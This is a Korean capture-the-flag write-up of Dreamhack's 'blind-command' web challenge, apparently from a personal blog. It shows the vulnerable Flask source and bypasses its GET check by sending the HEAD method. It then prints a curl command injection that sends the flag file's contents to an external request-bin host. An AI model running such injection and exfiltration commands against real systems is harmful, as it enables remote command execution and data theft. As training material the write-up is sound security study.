워게임/dreamhack

[dreamhack] blind-command 문제풀이

  • -
[WEB] blind-command 문제풀이

Blind Command Injection사용자의 입력이 시스템 명령에 사용될 수 있는 공격인 OS Command Injection의 한 종류로 시스템 명령의 수행 결과 값을 알 수 없을 때 사용하는 방법이다.

 

문제를 확인해보자.

 

 

Read the flag file XD? 무슨 말 하는거야 한글로 해ㅡㅡ

일단 접속해보자.

 

 

오 커맨드 인젝션 문제인가보다. 진행시켜.

 

 

어라 그대로 뱉어내네. echo인건가..... 

모르겠으니 일단 소스코드를 확인해보자.

 

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

 

상당히 짧은 코드인게 너무 기분좋다.

 

메소드가 GET이 아니면 cmd 파라미터로 전달된 값을 시스템 명령어로 실행시킨다.

일단 OPTIONS 메소드를 통해 서버에서 허용되는 메소드가 뭐뭐 있는지 확인해보자.

 

 

남은 건 HEAD 메소드 하나 뿐이다. HEAD는 GET과 동일하게 파라미터를 전송할 수 있다.

다만 응답에서는 header만 포함되기 때문에 웹 상에서 응답을 기대할 순 없다.

 

그렇다면 서버 내에서 시스템 명령어를 실행하고 결과 값을 외부로 전송하는 방식으로 flag를 확인해야한다.

일단 flag.txt 결과 값을 전달 받을 외부 서버를 임시로 생성한다.

 

 

dreamhack tools 에서 제공하는 request bin 링크를 생성하고 해당 경로로 flag.txt를 보내보자.

curl 명령어를 이용해 flag.txt의 값을 데이터 전송 옵션 v를 이용해 보내보자.

cmd=curl https://fimguwk.request.dreamhack.games/ -d "$(cat flag.py)"

 

 

HEAD 메소드로 cmd 파라미터 값을 통해 flag.txt 값을 외부 서버로 전송하고, 정상 응답을 확인한다.

그리고 requset bin 페이지에서 전송된 값을 확인해보자.

 

서버에서 POST로 전달된 flag 값이 확인된다.

 

문제풀이 끗

Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.